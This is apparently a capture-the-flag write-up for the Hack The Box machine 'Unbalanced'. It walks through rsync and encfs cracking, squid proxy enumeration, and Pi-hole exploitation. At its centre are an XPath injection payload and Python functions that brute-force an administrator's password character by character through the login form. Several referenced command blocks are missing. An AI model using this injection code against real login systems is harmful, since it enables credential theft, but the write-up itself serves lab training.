Roman Hergenreder

~ User Part

The nmap scan shows an open ssh port, and two other services running: rsync and squid proxy.

Beginning with the rsync port, we find this article explaining the enumeration and exploitation of this service. Unfortunately, the nmap script rsync-list-modules did not give more information than the nmap scan, we issued before. But we can connect via nc and try to find out something manually. After we connect, we need to wait for the server to send it's rsync banner. After that, we send the banner back and can issue some commands:

Next we can download the rsync directory using it's command:

We got an encrypted rsync drive. Luckily, the .encfs6.xml file is included, it contains the hashed key used for encryption/decryption. We can crack this key using john:

Using the cracked password, we can now decrypt the encfs folder, which reveals a lot of configuration files. Note, the encfs command requires absolute paths here.

The only relevant config file seems to be the squid.conf file. It contains many line comments, so filtering them gives us the following lines:

First of all, cachemgr_passwd is set with a password and a list of commands, which we are allowed to use. Secondly, the http_access and acl directives tell us, where we are allowed to connect to. That's the domain intranet.unbalanced.htb and the local subnet 172.16.0.0/12. We will focus on the cache first using squidclient, because it might contain sensitive information. The squidclient is often included in the squid package in your distribution.

We got a bunch of new domains and we directly see, that one domain is missing: intranet-host1.unbalanced.htb. The IP-Address is probably 172.31.179.1, so we will try to connect to it:

Hmmm.. this seems like a custom message, the host seems to have some security issues. Let's find them using gobuster!

Configuring our browser to connect through the proxy on http://10.10.10.200:3128 we try to access /intranet.php, and indeed, a login page shows up. Doing some basic injection test, we also find out, that ' or '1'='1 as password will give us a list of users, so the login form is injectable in some kind. sqlmap somehow doesn't find any vulnerable parameter, so it must be something different. After some research and trying out different payloads, we find out, that XPath has a similar syntax. An example query and exploitation is given on PayloadsAllTheThings, so the query being executed on the server might look like this:

//Employee[Username/text()=' + USERNAME + ' and Password/text()=' + PASSWORD + ']

Using ' or '1'='1 as password, we get some usernames and their roles including the System Administrator bryan. It looks like, this user is worth to find credentials for. First, we want to know, what the length of his password is. We can use the following python code to bruteforce the password length:

def findPasswordLength(username):
    passwordLen = 1
    while True:
        res = login(username, "' or string-length(Password)=%d and Username='%s" % (passwordLen, username))
        if res.status_code != 200:
            print(res, res.text)
            exit(1)

        if "Invalid credentials." not in res.text:
            break
        passwordLen += 1

    return passwordLen

Next we bruteforce the password char-by-char:

def bruteforcePassword(username, passwordLen):
    password = ""
    for i in range(passwordLen):
        found = False
        for x in string.printable:
            if x == '\'' or x == '\\' or x.isspace():
                continue

            res = login(username, "' or substring(Password,%d,1)='%s' and Username='%s" % (i+1,x,username))
            if res.status_code != 200:
                print(res, res.text)
                exit(1)

            if "Invalid credentials." not in res.text:
                found = True
                password += x
                print("Password: '%s%s'" % (password, "." * (passwordLen-i-1)))
                break

        if not found:
            print("[-] Password not found")
            exit(1)

    return password

After we executed the script, the password is printed on the console and we can login with user bryan on the SSH port. The user flag is right in bryan's home directory:

# Root Part

Bryan's home directory also includes a note which points to the way to root:

So the next steps are probably connected to pihole. The local bound ports show up two ports: 8080 and 5553. A curl request confirms, that port 8080 is running the pi hole admin interface:

For further analysis, we will forward the port via ssh tunnel and add the pi.hole host:

Now we can visit the admin panel via http://pi.hole. As the note in the TODO file says, the pi-hole has a temporary admin password, so we are able to login with password admin. The footer on the web interface gives us the version being used: Pi-hole Version v4.3.2 Web Interface Version v4.3 FTL Version v4.3.1. Looking up this version we find a bunch of exploit scripts on exploit-db.com. I've used this script, because it also gave root permissions on the docker container, where pi-hole is running on:

After the exploit succeeded, we can retrieve another password from the root pi-hole configuration:

Using this password, we can elevate our privileges on the main host to root and grab the root flag: